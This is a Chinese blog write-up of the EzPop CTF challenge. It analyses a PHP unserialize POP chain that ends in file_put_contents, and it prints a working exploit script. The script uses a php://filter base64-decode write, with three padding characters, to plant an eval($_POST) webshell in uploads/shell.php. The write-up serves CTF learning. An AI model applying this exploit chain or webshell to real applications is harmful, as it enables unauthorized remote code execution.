[EIS 2019]EzPop刷题笔记

根据题目名判断为反序列化pop链

题目附了源码如下

<?php
error_reporting(0);

class A {

    protected $store; 

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire); 
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

 大致浏览一遍判断终点在file_put_contents函数,目的为将恶意内容写进可控文件名

pop利用链为A类的__destruct到A类的save到B类的set函数

跟着$filename和$data往上找

对于$file:

$filename = $this->getCacheKey($name);
public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

而$name就取决于A类的$key

对于$data:

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$data = $this->serialize($value);
protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

这里第一处有一个拼接,想到之前见过的用伪协议过滤器进行绕过,$value就取决于A类中的$contents

然后再看$contents咋来的

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire); 
    }

这里控制A类的complete即可,然后就不用管cache的值了,直接给一个空数组

一鼓作气往下捋,还要过一层B类的serialize函数,控制option数组让serialize相当于没有就可以,给options['serialize']一个strval的值即可

然后就是过死亡绕过,$data以base64写入,$filename以过滤器的形式传即可

因为filename是拼接的,对于$filename来说其实key那个变量已经不重要了,传个空值然后控制options['prefix']即可

下面来尝试构造exp

在构造exp是遇到了一个坑点,在拼接文件内容时前面给的死亡绕过部分只有9个字符在base64的编码表里,而base64是4字节4字节解码的,所以之前要拼三个字符凑成4的倍数,让之前那些东西不和传的🐎分成一组解码

<?php
error_reporting(0);

class A {

    protected $store; 

    protected $key;

    protected $expire;

  public function __construct(){
    $this->store=new B();//为了满足跳转 
    $this->autosave=false;//为了if语句执行 
    $this->key='';//不重要了
    $this->expire='';//也不重要
    $this->cache=[];//还不重要
    $this->complete='aaaPD9waHAgQGV2YWwoJF9QT1NUWzJdKTs/Pg==';//base64的🐎+三个字符
  } }
class B {   public function __construct(){
  $this->options=array('serialize'=>'strval','prefix'=>'php://filter/write=convert.base64-decode/resource=uploads/shell.php','data_compress'=>false)  
  //为了顺利写入文件和为了让数据压缩不执行
  } }
$o=new A();
echo urlencode(serialize($o));//protect变量反序列化有不可见字符,要encode一下

传入打印结果后找🐎拿flag了

又是看着wp思路做题的一天 菜狗躺平中😴

posted @ 2022-01-04 11:35  Yu_so1dier0n  阅读(76)  评论(0编辑  收藏  举报